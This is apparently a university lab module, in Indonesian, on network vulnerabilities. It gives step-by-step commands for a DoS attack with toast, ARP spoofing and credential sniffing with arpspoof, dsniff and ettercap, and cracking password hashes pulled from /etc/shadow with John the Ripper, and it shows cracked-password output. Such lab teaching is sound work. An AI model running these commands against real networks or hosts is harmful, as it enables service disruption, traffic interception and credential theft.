Modul 1
Network Vulnerabilities

PERCOBAAN DoS Attack

1. download toast.0.2.tgz

2. extrat toast

10pens1:/home/isbat# tar -zxvf toast.0.2.tgz 

3. masuk ke direktori toast


pens1:/home/isbat# cd toast


pens1:/home/isbat/toast# ls


ATTACK
bin  EXPLAIN  README  src  toast.sh

4. Install Toast

5. Jalankan ping ke komputer target isbat@pens1:~$ ping 10.252.108.50


pens1:/home/isbat/toast# ping 10.252.108.50


64 bytes from 10.252.108.50: icmp_seq=1 ttl=63 time=6.60 ms


64 bytes from 10.252.108.50: icmp_seq=2 ttl=63 time=0.580 ms

6. Dari terminal baru jalankan toast, berapa macam attack yang ada ? Lihat option berapa toast dan amati berapa macam DoS yang bisa dijalankan toast

7. Jalankan toast dengan option –s 9, 

pens1:/home/isbat/toast# ./toast.sh 10.252.108.50 10.252.44.178 -s 9

untitled folder 10

   ___________                    __   

   \__    ___/________    _______/  |_ 

     |    | /  _ \__  \  /  ___/\   __\

     |    |(  <_> ) __ \_\___ \  |  |  untitled folder 10

     |____| \____(____  /____  > |__|  untitled folder 10

 ______       ______  \/     \/

|  __  |     |____  |

| |  | |      ___|  |

| |  | |     |  ____|  By Gridmark

| |__| |  _  | |____

|______| |_| |______|

Attempting to find an remote open port...

Throwing everything we got at 10.252.108.50

Running 1234...

Running DoS-Linux...

Running ascend-foo...

Running beer...

Running biffit...

Selanjut amati hasil ping apakah ada perubahan

64 bytes from 10.252.108.50: icmp_seq=41 ttl=63 time=0.635 ms

64 bytes from 10.252.108.50: icmp_seq=43 ttl=63 time=25.7 ms

64 bytes from 10.252.108.50: icmp_seq=44 ttl=63 time=25.8 ms

64 bytes from 10.252.108.50: icmp_seq=45 ttl=63 time=0.618 ms
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8. Install web server dan buat file html dengan 2 link file 

9. Coba koneksi ke html tersebut secara normal

10. Jalankan toast dan coba koneksi lagi ke webserver tersebut, amati yang terjadi

PERCOBAAN Network Sniffing

1. Percobaan arp spoofing

a. Bangun topologi dengan tiga komputer sbb :
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1. Install proftp pada PC1

pens1:/home/isbat# apt-get install proftpd

b. Dari komputer attacker, lakukan sbb :

· Install dsniff dari komputer attacker, jalankan apt-get install dsniff.

· Buka terminal baru Jalankan arpspoof –t IP_PC1 IP_PC2

· Buka terminal baru jalankan arpspoof –t IP_PC2 IP_PC_1

· Buka terminal baru jalankan dsniff, amati

c. Dari komputer PC2 buka terminal, lakukan telnet ke PC1, amati hasil dnsiff apa output dari dsniff.

d. Dari komputer PC2 buka terminal, lakukan ftp ke PC1, amati hasil dnsiff apa output dari dsniff

e. Dari komputer PC2 buka terminal, lakukan ssh ke PC1, amati hasil dnsiff apa output dari dsniff.

f. Dari komputer PC2 buka terminal, lakukan sftp ke PC1, amati hasil dnsiff apa output dari dsniff.

g. Buat kesimpulan praktikum Anda.

b. Percobaan packet Sniffing dengan Ethercap, buat topologi sama dengan percobaan 1

a. Diasumsikan PC1 sudah terinstall telnet, ftp dan ssh, PC2 sebagai client yang akan koneksi ke PC1

b. PC3 sebagai attacker lakukan installasi attercap dan konfigurasi :

· Dari terminal jalan perintah apt-get install ettercap

· Konfigurasi vile /etc/etter.conf dan rubah sbb :
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Dan pada configurasi linux aktifkan sbb :
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· Jalankan ettercap sbb :

ettercap -TqM ARP /IP_TARGET_PC2/ 
T artinya mode Text, q artinya q = quiet mode,  M = man in the middle

ARP = tipe protocol man in the middle attack yang digunakan;
Misal sbb :
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Amati hasilnya

PERCOBAAN Password Cracking

1. Download source john the ripper

2. extract john the ripper menggunakan perintah tar –xzvf 

3. Install john the ripper

pens1:/home/isbat# cd john-1.7.3.1

pens1:/home/isbat/john-1.7.3.1# cd src

pens1:/home/isbat/john-1.7.3.1/src# make

pens1:/home/isbat/john-1.7.3.1/src# make clean SYSTEM

pens1:/home/isbat/john-1.7.3.1/src# make clean generic

4. Jalankan program john the ripper

pens1:/home/isbat/john-1.7.3.1/src# cd ..

pens1:/home/isbat/john-1.7.3.1# cd run

pens1:/home/isbat/john-1.7.3.1/run# ls

all.chr    alpha.chr   john
  lanman.chr  password.lst  unique

alnum.chr  digits.chr  john.conf  mailer      unafs
    unshadow

pens1:/home/isbat/john-1.7.3.1/run# ./john

John the Ripper password cracker, version 1.7.3.1

Copyright (c) 1996-2008 by Solar Designer and others

Homepage: http://www.openwall.com/john/

5. Lakukan crack passowrd 


a. mengambil shadow password terlebih dahulu dimasukkkan ke file tertentu

pens1:/home/isbat/john-1.7.3.1/run# ./unshadow /etc/passwd /etc/shadow > mypassword

pens1:/home/isbat/john-1.7.3.1/run# ls

all.chr    alpha.chr   john
  lanman.chr  mypassword    unafs   unshadow

alnum.chr  digits.chr  john.conf  mailer      password.lst  unique

b. crack password


pens1:/home/isbat/john-1.7.3.1/run# ./john -show mypassword 

0 password hashes cracked, 4 left

c. melihat pasword

pens1:/home/isbat/john-1.7.3.1/run# ./john mypassword 

Loaded 4 password hashes with 4 different salts (FreeBSD MD5 [32/32])

student          (student)

condor           (condor)

guesses: 2  time: 0:00:00:04 11% (2)  c/s: 7395  trying: julienjulien

guesses: 2  time: 0:00:00:11 27% (2)  c/s: 7389  trying: rita5

Session aborted

pens1:/home/isbat/john-1.7.3.1/run# 

pens1:/home/isbat/john-1.7.3.1/run# 
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